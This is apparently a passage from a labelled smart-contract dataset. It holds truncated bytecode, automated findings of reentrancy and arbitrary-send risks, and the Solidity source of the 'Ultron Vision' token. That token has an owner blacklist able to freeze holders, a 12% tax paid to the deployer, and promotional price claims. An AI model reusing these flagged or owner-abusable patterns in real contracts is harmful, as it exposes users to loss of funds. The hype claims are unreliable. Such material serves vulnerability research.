3ffffffffffffffffffffffffffffffffffffffff16145b15611f18576001600e819055506063600f819055505b6000611f23306108dd565b90506000600c548210159050808015611f495750601360159054906101000a900460ff16155b8015611fa35750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611fbb5750601360169054906101000a900460ff165b15611fe357611fc98261206f565b60004790506000811115611fe157611fe0476123d7565b5b505b5050611ffb565b6000600e819055506000600f819055505b6120068383836124d2565b505050565b6000838311158290612053576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161204a91906131e3565b60405180910390fd5b5060008385612062919061356b565b9050809150509392505050565b6001601360156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156120cd577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156120fb5781602001602082028036833780820191505090505b5090503081600081518110612139577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156121db57600080fd5b505afa1580156121ef573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906122139190612c47565b8160018151811061224d577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506122b430601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846115e9565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016123189594939291906133c0565b600060405180830381600087803b15801561233257600080fd5b505af1158015612346573d6000803e3d6000fd5b50505050506000601360156101000a81548160ff02191690831515021790555050565b60006008548211156123b0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123a790613225565b60405180910390fd5b60006123ba6124e2565b90506123cf818461250d90919063ffffffff16565b915050919050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61242760028461250d90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612452573d6000803e3d6000fd5b50601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6124a360028461250d90919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156124ce573d6000803e3d6000fd5b5050565b6124dd838383612557565b505050565b60008060006124ef612722565b91509150612506818361250d90919063ffffffff16565b9250505090565b600061254f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612787565b905092915050565b600080600080600080612569876127ea565b9550955095509550955095506125c786600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461285290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061265c85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461289c90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506126a8816128fa565b6126b284836129b7565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161270f91906133a5565b60405180910390a3505050505050505050565b60008060006008549050600069152d02c7e14af6800000905061275a69152d02c7e14af680000060085461250d90919063ffffffff16565b82101561277a5760085469152d02c7e14af6800000935093505050612783565b81819350935050505b9091565b600080831182906127ce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127c591906131e3565b60405180910390fd5b50600083856127dd91906134e0565b9050809150509392505050565b60008060008060008060008060006128078a600e54600f546129f1565b92509250925060006128176124e2565b9050600080600061282a8e878787612a87565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061289483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061200b565b905092915050565b60008082846128ab919061348a565b9050838110156128f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128e790613265565b60405180910390fd5b8091505092915050565b60006129046124e2565b9050600061291b8284612b1090919063ffffffff16565b905061296f81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461289c90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6129cc8260085461285290919063ffffffff16565b6008819055506129e78160095461289c90919063ffffffff16565b6009819055505050565b600080600080612a1d6064612a0f888a612b1090919063ffffffff16565b61250d90919063ffffffff16565b90506000612a476064612a39888b612b1090919063ffffffff16565b61250d90919063ffffffff16565b90506000612a7082612a62858c61285290919063ffffffff16565b61285290919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612aa08589612b1090919063ffffffff16565b90506000612ab78689612b1090919063ffffffff16565b90506000612ace8789612b1090919063ffffffff16565b90506000612af782612ae9858761285290919063ffffffff16565b61285290919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415612b235760009050612b85565b60008284612b319190613511565b9050828482612b4091906134e0565b14612b80576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b7790613285565b60405180910390fd5b809150505b92915050565b600081359050612b9a816139d9565b92915050565b600081519050612baf816139d9565b92915050565b600081359050612bc4816139f0565b92915050565b600081359050612bd981613a07565b92915050565b600081519050612bee81613a07565b92915050565b600081359050612c0381613a1e565b92915050565b600081519050612c1881613a1e565b92915050565b600060208284031215612c3057600080fd5b6000612c3e84828501612b8b565b91505092915050565b600060208284031215612c5957600080fd5b6000612c6784828501612ba0565b91505092915050565b600060208284031215612c8257600080fd5b6000612c9084828501612bb5565b91505092915050565b60008060408385031215612cac57600080fd5b6000612cba85828601612b8b565b9250506020612ccb85828601612b8b565b9150509250929050565b600080600060608486031215612cea57600080fd5b6000612cf886828701612b8b565b9350506020612d0986828701612b8b565b9250506040612d1a86828701612bf4565b9150509250925092565b60008060408385031215612d3757600080fd5b6000612d4585828601612b8b565b9250506020612d5685828601612bf4565b9150509250929050565b600060208284031215612d7257600080fd5b6000612d8084828501612bca565b91505092915050565b600060208284031215612d9b57600080fd5b6000612da984828501612bdf565b91505092915050565b600060208284031215612dc457600080fd5b6000612dd284828501612bf4565b91505092915050565b600080600060608486031215612df057600080fd5b6000612dfe86828701612c09565b9350506020612e0f86828701612c09565b9250506040612e2086828701612c09565b9150509250925092565b6000612e368383612e42565b60208301905092915050565b612e4b8161359f565b82525050565b612e5a8161359f565b82525050565b6000612e6b82613445565b612e758185613468565b9350612e8083613435565b8060005b83811015612eb1578151612e988882612e2a565b9750612ea38361345b565b925050600181019050612e84565b5085935050505092915050565b612ec7816135c3565b82525050565b612ed681613606565b82525050565b6000612ee782613450565b612ef18185613479565b9350612f01818560208601613618565b612f0a816136a9565b840191505092915050565b6000612f22602383613479565b9150612f2d826136ba565b604082019050919050565b6000612f45602a83613479565b9150612f5082613709565b604082019050919050565b6000612f68602283613479565b9150612f7382613758565b604082019050919050565b6000612f8b601b83613479565b9150612f96826137a7565b602082019050919050565b6000612fae602183613479565b9150612fb9826137d0565b604082019050919050565b6000612fd1602083613479565b9150612fdc8261381f565b602082019050919050565b6000612ff4602983613479565b9150612fff82613848565b604082019050919050565b6000613017601783613479565b915061302282613897565b602082019050919050565b600061303a602583613479565b9150613045826138c0565b604082019050919050565b600061305d602483613479565b91506130688261390f565b604082019050919050565b6000613080601783613479565b915061308b8261395e565b602082019050919050565b60006130a3601c83613479565b91506130ae82613987565b602082019050919050565b60006130c6601283613479565b91506130d1826139b0565b602082019050919050565b6130e5816135ef565b82525050565b6130f4816135f9565b82525050565b600060208201905061310f6000830184612e51565b92915050565b600060408201905061312a6000830185612e51565b6131376020830184612e51565b9392505050565b60006040820190506131536000830185612e51565b61316060208301846130dc565b9392505050565b600060c08201905061317c6000830189612e51565b61318960208301886130dc565b6131966040830187612ecd565b6131a36060830186612ecd565b6131b06080830185612e51565b6131bd60a08301846130dc565b979650505050505050565b60006020820190506131dd6000830184612ebe565b92915050565b600060208201905081810360008301526131fd8184612edc565b905092915050565b6000602082019050818103600083015261321e81612f15565b9050919050565b6000602082019050818103600083015261323e81612f38565b9050919050565b6000602082019050818103600083015261325e81612f5b565b9050919050565b6000602082019050818103600083015261327e81612f7e565b9050919050565b6000602082019050818103600083015261329e81612fa1565b9050919050565b600060208201905081810360008301526132be81612fc4565b9050919050565b600060208201905081810360008301526132de81612fe7565b9050919050565b600060208201905081810360008301526132fe8161300a565b9050919050565b6000602082019050818103600083015261331e8161302d565b9050919050565b6000602082019050818103600083015261333e81613050565b9050919050565b6000602082019050818103600083015261335e81613073565b9050919050565b6000602082019050818103600083015261337e81613096565b9050919050565b6000602082019050818103600083015261339e816130b9565b9050919050565b60006020820190506133ba60008301846130dc565b92915050565b600060a0820190506133d560008301886130dc565b6133e26020830187612ecd565b81810360408301526133f48186612e60565b90506134036060830185612e51565b61341060808301846130dc565b9695505050505050565b600060208201905061342f60008301846130eb565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000613495826135ef565b91506134a0836135ef565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156134d5576134d461364b565b5b828201905092915050565b60006134eb826135ef565b91506134f6836135ef565b9250826135065761350561367a565b5b828204905092915050565b600061351c826135ef565b9150613527836135ef565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156135605761355f61364b565b5b828202905092915050565b6000613576826135ef565b9150613581836135ef565b9250828210156135945761359361364b565b5b828203905092915050565b60006135aa826135cf565b9050919050565b60006135bc826135cf565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000613611826135ef565b9050919050565b60005b8381101561363657808201518184015260208101905061361b565b83811115613645576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f4f766572206d61782077616c6c657420616d6f756e742e000000000000000000600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4f766572206d6178207472616e73616374696f6e20616d6f756e742e00000000600082015250565b7f436f6f6c646f776e20656e666f726365642e0000000000000000000000000000600082015250565b6139e28161359f565b81146139ed57600080fd5b50565b6139f9816135b1565b8114613a0457600080fd5b50565b613a10816135c3565b8114613a1b57600080fd5b50565b613a27816135ef565b8114613a3257600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220b001504beb6231f17dfeb8fb278c4fcce016f6eadcd52be813350734e27dde1a64736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
6,897
0xAaC9Baac6072e5A4a73b1A4E2C999767F9F16dce
//SPDX-License-Identifier: None /** $Ultron is a protocol with two automated core functions: passive yield income and increasing positive volume of transactions. The major goal of Ultron is to achieve the True Burn mechanism (hard coded in the DNA), which allows $Ultron (Burn Address) to continue acquiring tokens and hence raise the token price every time this happens. (Wow, that’s awesome, and the use case is even better!) https://t.me/ultronvision **/ pragma solidity ^0.8.6; interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } contract UltronVision is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _balance; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping(address => bool) public _bots; uint256 private _tTotal = 6400000000 * 10**8; uint256 private _taxFee; address payable private _taxWallet; uint256 private _maxTxAmount; uint256 private _maxWallet; string private constant _name = "Ultron Vision"; string private constant _symbol = "ULTRON"; uint8 private constant _decimals = 8; IUniswapV2Router02 private _uniswap; address private _pair; bool private _canTrade; bool private _inSwap = false; bool private _swapEnabled = false; modifier lockTheSwap { _inSwap = true; _; _inSwap = false; } constructor () { _taxWallet = payable(_msgSender()); _taxFee = 12; _uniswap = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_taxWallet] = true; _maxTxAmount=_tTotal.div(100); _maxWallet=_tTotal.div(50); _balance[address(this)] = _tTotal; emit Transfer(address(0x0), address(this), _tTotal); } function maxTxAmount() public view returns (uint256){ return _maxTxAmount; } function maxWallet() public view returns (uint256){ return _maxWallet; } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balance[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!_bots[from] && !_bots[to], "Bot account is blacklisted, please contact staff"); if (from != owner() && to != owner()) { if (from == _pair && to != address(_uniswap) && ! _isExcludedFromFee[to] ) { require(amount<=_maxTxAmount,"This amount exceeded the limit"); require(_canTrade,"Not started yet"); require(balanceOf(to) + amount <= _maxWallet, "Balance exceeded wallet size"); } uint256 contractTokenBalance = balanceOf(address(this)); if (!_inSwap && from != _pair && _swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance >= 100000000000000000) { sendETHToFee(contractETHBalance); } } } _tokenTransfer(from,to,amount,(_isExcludedFromFee[to]||_isExcludedFromFee[from])?0:_taxFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = _uniswap.WETH(); _approve(address(this), address(_uniswap), tokenAmount); _uniswap.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, _taxWallet, block.timestamp ); } function setMaxTx(uint256 amount) public onlyOwner{ require(amount>_maxTxAmount); _maxTxAmount=amount; } function sendETHToFee(uint256 amount) private { _taxWallet.transfer(amount); } function createPair() external onlyOwner { _approve(address(this), address(_uniswap), _tTotal); _pair = IUniswapV2Factory(_uniswap.factory()).createPair(address(this), _uniswap.WETH()); IERC20(_pair).approve(address(_uniswap), type(uint).max); } function addLiquidity() external onlyOwner{ _uniswap.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); _swapEnabled = true; } function enableTrading() external onlyOwner{ _canTrade = true; } function _tokenTransfer(address sender, address recipient, uint256 tAmount, uint256 taxRate) private { uint256 tTeam = tAmount.mul(taxRate).div(100); uint256 tTransferAmount = tAmount.sub(tTeam); _balance[sender] = _balance[sender].sub(tAmount); _balance[recipient] = _balance[recipient].add(tTransferAmount); _balance[address(this)] = _balance[address(this)].add(tTeam); emit Transfer(sender, recipient, tTransferAmount); } function setMaxWallet(uint256 amount) public onlyOwner{ require(amount>_maxWallet); _maxWallet=amount; } receive() external payable {} function setBots(address[] memory _bots_) public onlyOwner {for (uint256 i = 0; i < _bots_.length; i++) {_bots[_bots_[i]] = true;}} function delBot(address notbot) public onlyOwner { _bots[notbot] = false; } function manualSend() public{ uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } }
0x6080604052600436106101395760003560e01c80638da5cb5b116100ab578063b515566a1161006f578063b515566a1461038b578063bc337182146103ab578063dd62ed3e146103cb578063e8078d9414610411578063f429389014610426578063f8b45b051461043b57600080fd5b80638da5cb5b146102cf57806395d89b41146102f75780639e78fb4f14610326578063a9059cbb1461033b578063b481ff951461035b57600080fd5b8063313ce567116100fd578063313ce5671461021e5780635d0044ca1461023a57806370a082311461025a578063715018a6146102905780638a8c523c146102a55780638c0b5e22146102ba57600080fd5b806306fdde0314610145578063095ea7b31461018d57806318160ddd146101bd57806323b872dd146101dc578063273123b7146101fc57600080fd5b3661014057005b600080fd5b34801561015157600080fd5b5060408051808201909152600d81526c2ab63a3937b7102b34b9b4b7b760991b60208201525b6040516101849190611451565b60405180910390f35b34801561019957600080fd5b506101ad6101a83660046114cb565b610450565b6040519015158152602001610184565b3480156101c957600080fd5b506006545b604051908152602001610184565b3480156101e857600080fd5b506101ad6101f73660046114f7565b610467565b34801561020857600080fd5b5061021c610217366004611538565b6104d0565b005b34801561022a57600080fd5b5060405160088152602001610184565b34801561024657600080fd5b5061021c610255366004611555565b610524565b34801561026657600080fd5b506101ce610275366004611538565b6001600160a01b031660009081526002602052604090205490565b34801561029c57600080fd5b5061021c610561565b3480156102b157600080fd5b5061021c6105d5565b3480156102c657600080fd5b506009546101ce565b3480156102db57600080fd5b506000546040516001600160a01b039091168152602001610184565b34801561030357600080fd5b506040805180820190915260068152652aa62a2927a760d11b6020820152610177565b34801561033257600080fd5b5061021c610614565b34801561034757600080fd5b506101ad6103563660046114cb565b610857565b34801561036757600080fd5b506101ad610376366004611538565b60056020526000908152604090205460ff1681565b34801561039757600080fd5b5061021c6103a6366004611584565b610864565b3480156103b757600080fd5b5061021c6103c6366004611555565b6108fa565b3480156103d757600080fd5b506101ce6103e6366004611649565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561041d57600080fd5b5061021c610937565b34801561043257600080fd5b5061021c610a4d565b34801561044757600080fd5b50600a546101ce565b600061045d338484610aa0565b5060015b92915050565b6000610474848484610bc4565b6104c684336104c18560405180606001604052806028815260200161184b602891396001600160a01b038a166000908152600360209081526040808320338452909152902054919061100a565b610aa0565b5060019392505050565b6000546001600160a01b031633146105035760405162461bcd60e51b81526004016104fa90611682565b60405180910390fd5b6001600160a01b03166000908152600560205260409020805460ff19169055565b6000546001600160a01b0316331461054e5760405162461bcd60e51b81526004016104fa90611682565b600a54811161055c57600080fd5b600a55565b6000546001600160a01b0316331461058b5760405162461bcd60e51b81526004016104fa90611682565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146105ff5760405162461bcd60e51b81526004016104fa90611682565b600c805460ff60a01b1916600160a01b179055565b6000546001600160a01b0316331461063e5760405162461bcd60e51b81526004016104fa90611682565b600b5460065461065b9130916001600160a01b0390911690610aa0565b600b60009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106ae573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106d291906116b7565b6001600160a01b031663c9c6539630600b60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610734573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061075891906116b7565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156107a5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107c991906116b7565b600c80546001600160a01b0319166001600160a01b03928316908117909155600b5460405163095ea7b360e01b81529216600483015260001960248301529063095ea7b3906044016020604051808303816000875af1158015610830573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061085491906116d4565b50565b600061045d338484610bc4565b6000546001600160a01b0316331461088e5760405162461bcd60e51b81526004016104fa90611682565b60005b81518110156108f6576001600560008484815181106108b2576108b26116f6565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806108ee81611722565b915050610891565b5050565b6000546001600160a01b031633146109245760405162461bcd60e51b81526004016104fa90611682565b600954811161093257600080fd5b600955565b6000546001600160a01b031633146109615760405162461bcd60e51b81526004016104fa90611682565b600b546001600160a01b031663f305d7194730610993816001600160a01b031660009081526002602052604090205490565b6000806109a86000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610a10573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a35919061173b565b5050600c805460ff60b01b1916600160b01b17905550565b4761085481611044565b6000610a9983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061107e565b9392505050565b6001600160a01b038316610b025760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104fa565b6001600160a01b038216610b635760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104fa565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c285760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104fa565b6001600160a01b038216610c8a5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104fa565b60008111610cec5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104fa565b6001600160a01b03831660009081526005602052604090205460ff16158015610d2e57506001600160a01b03821660009081526005602052604090205460ff16155b610d935760405162461bcd60e51b815260206004820152603060248201527f426f74206163636f756e7420697320626c61636b6c69737465642c20706c656160448201526f39b29031b7b73a30b1ba1039ba30b33360811b60648201526084016104fa565b6000546001600160a01b03848116911614801590610dbf57506000546001600160a01b03838116911614155b15610fa957600c546001600160a01b038481169116148015610def5750600b546001600160a01b03838116911614155b8015610e1457506001600160a01b03821660009081526004602052604090205460ff16155b15610f3157600954811115610e6b5760405162461bcd60e51b815260206004820152601e60248201527f5468697320616d6f756e7420657863656564656420746865206c696d6974000060448201526064016104fa565b600c54600160a01b900460ff16610eb65760405162461bcd60e51b815260206004820152600f60248201526e139bdd081cdd185c9d1959081e595d608a1b60448201526064016104fa565b600a5481610ed9846001600160a01b031660009081526002602052604090205490565b610ee39190611769565b1115610f315760405162461bcd60e51b815260206004820152601c60248201527f42616c616e63652065786365656465642077616c6c65742073697a650000000060448201526064016104fa565b30600090815260026020526040902054600c54600160a81b900460ff16158015610f695750600c546001600160a01b03858116911614155b8015610f7e5750600c54600160b01b900460ff165b15610fa757610f8c816110ac565b4767016345785d8a00008110610fa557610fa581611044565b505b505b6001600160a01b0382166000908152600460205260409020546110059084908490849060ff1680610ff257506001600160a01b03871660009081526004602052604090205460ff165b610ffe5760075461122a565b600061122a565b505050565b6000818484111561102e5760405162461bcd60e51b81526004016104fa9190611451565b50600061103b8486611781565b95945050505050565b6008546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156108f6573d6000803e3d6000fd5b6000818361109f5760405162461bcd60e51b81526004016104fa9190611451565b50600061103b8486611798565b600c805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106110f4576110f46116f6565b6001600160a01b03928316602091820292909201810191909152600b54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561114d573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061117191906116b7565b81600181518110611184576111846116f6565b6001600160a01b039283166020918202929092010152600b546111aa9130911684610aa0565b600b5460085460405163791ac94760e01b81526001600160a01b039283169263791ac947926111e7928792600092889291169042906004016117ba565b600060405180830381600087803b15801561120157600080fd5b505af1158015611215573d6000803e3d6000fd5b5050600c805460ff60a81b1916905550505050565b6000611241606461123b858561132e565b90610a57565b9050600061124f84836113b0565b6001600160a01b03871660009081526002602052604090205490915061127590856113b0565b6001600160a01b0380881660009081526002602052604080822093909355908716815220546112a490826113f2565b6001600160a01b0386166000908152600260205260408082209290925530815220546112d090836113f2565b3060009081526002602090815260409182902092909255518281526001600160a01b0387811692908916917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3505050505050565b60008260000361134057506000610461565b600061134c838561182b565b9050826113598583611798565b14610a995760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104fa565b6000610a9983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061100a565b6000806113ff8385611769565b905083811015610a995760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104fa565b600060208083528351808285015260005b8181101561147e57858101830151858201604001528201611462565b81811115611490576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461085457600080fd5b80356114c6816114a6565b919050565b600080604083850312156114de57600080fd5b82356114e9816114a6565b946020939093013593505050565b60008060006060848603121561150c57600080fd5b8335611517816114a6565b92506020840135611527816114a6565b929592945050506040919091013590565b60006020828403121561154a57600080fd5b8135610a99816114a6565b60006020828403121561156757600080fd5b5035919050565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561159757600080fd5b823567ffffffffffffffff808211156115af57600080fd5b818501915085601f8301126115c357600080fd5b8135818111156115d5576115d561156e565b8060051b604051601f19603f830116810181811085821117156115fa576115fa61156e565b60405291825284820192508381018501918883111561161857600080fd5b938501935b8285101561163d5761162e856114bb565b8452938501939285019261161d565b98975050505050505050565b6000806040838503121561165c57600080fd5b8235611667816114a6565b91506020830135611677816114a6565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726040820152606001905